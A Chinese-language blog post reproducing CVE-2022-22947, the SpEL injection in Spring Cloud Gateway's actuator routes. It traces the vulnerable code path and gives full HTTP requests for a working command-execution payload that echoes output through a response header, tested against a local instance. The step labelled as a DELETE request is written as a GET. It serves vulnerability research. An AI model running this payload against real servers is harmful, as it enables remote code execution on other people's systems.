CVE-2022-22947 Spring Cloud Gateway SPEL RCE復現

bitterz發表於2022-03-04

0 環境搭建

影響範圍:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway < 3.0.7

p牛的vulhub已經搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

也可以本地搭建

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然後idea開啟專案,再除錯或啟動

1 漏洞觸發點

首先找到spring-cloud-gateway的commit記錄,看看修改的地方,直接來到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

如下:

非常標準的spel表示式使用,程式碼在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜尋其呼叫位置

三個列舉呼叫都位於ShortcutConfigurable內部的列舉類ShortcutType中,且重寫了不同的normalize方法,繼續向上找ShortcutType#normalize方法的呼叫

最終都來到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,並且傳入的時該類的properties成員變數,而normalizeProperties()方法的呼叫只出現在該類的父類AbstractBuilder.bind()中

繼續向上尋找bind方法的呼叫

發現org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不僅出現了bind方法呼叫,還出現了properties方法呼叫,跟進該properties方法可見對properties成員變數的設定,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下呼叫spel表示式時恰好需要的properties成員變數。

由此即可知道該漏洞的觸發可能來自於gatewayFilter的新增,並且從loadGatewayFilters方法繼續向上跟蹤呼叫如下:

RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

也可以看到確實來自於filter的新增。

所以思路可以出來,由於新增filter時輸入了spel表示式,被當作properties進行解析,最終導致惡意表示式被執行,從而實現rce。

再從spring cloud gateway的文件進行檢視

文件的11.5中提到,使用POST請求/gateway/routes/id 並使用json格式的資料,可以建立一個route,並且從前面的格式中也可以看到,支援新增filter。

但沒有給出filters欄位中具體應該怎麼寫,但沒關係,我們從原始碼可以找到

org.springframework.cloud.gateway.filter.FilterDefinition這個filter的定義類中,其成員變數如下

執行程式後,再mappings裡面可以看到/routes/{id}這個uri對應的方法

跟進該方法可以看到對filter給進的name有驗證

除錯模型下可以看到允許的name如下

這裡的每種name,實際上又對應了不同的GatewayFilterFactory

其中有個AddResponseHeaderGatewayFilterFactory可以向response hedder中寫入執行結果,因此恰好滿足回顯要求

根據這裡的getName和getValue可以知道還需要新增name和value欄位

2 構建poc

根據前面的資訊,可以逐步彙總出poc的樣子,

  • 首先是POST /actuator/gateway/routes/{id}
  • 然後新增json body,其中需要給出id和filters欄位
  • 其中filters欄位需要給出name和args,而name的值需要設定為AddResponseHeader獲得回顯,args中需要name和value

最終poc如下

  • post請求建立route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result=",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
    }
  }],
   "uri": "http://test.com"
}

  • POST請求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


由於前面使用的spel是ping百度的,所以需要等待一會,也可以換成其它命令,比如dir、ipconfig、whoami等

  • GET請求/actuator/gateway/routes/test,觸發spel,並得到回顯
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到ping命令的輸出

  • DELETE請求刪除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

3 總結

昨天在twitter上看到了這個rce,沒有太注意,昨天晚上看到通報,感覺這個洞還是有價值的,想著今天來複現應該差不多,結果P牛昨天就把docker上傳到vulhub了,y4er師傅也寫出了分析文章,跟不上啊= =

p牛和y4er師傅用的是spring自帶的類處理命令執行的返回位元組流,我用的是之前找到的jdk自帶方法,其實都差不多

參考

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

相關文章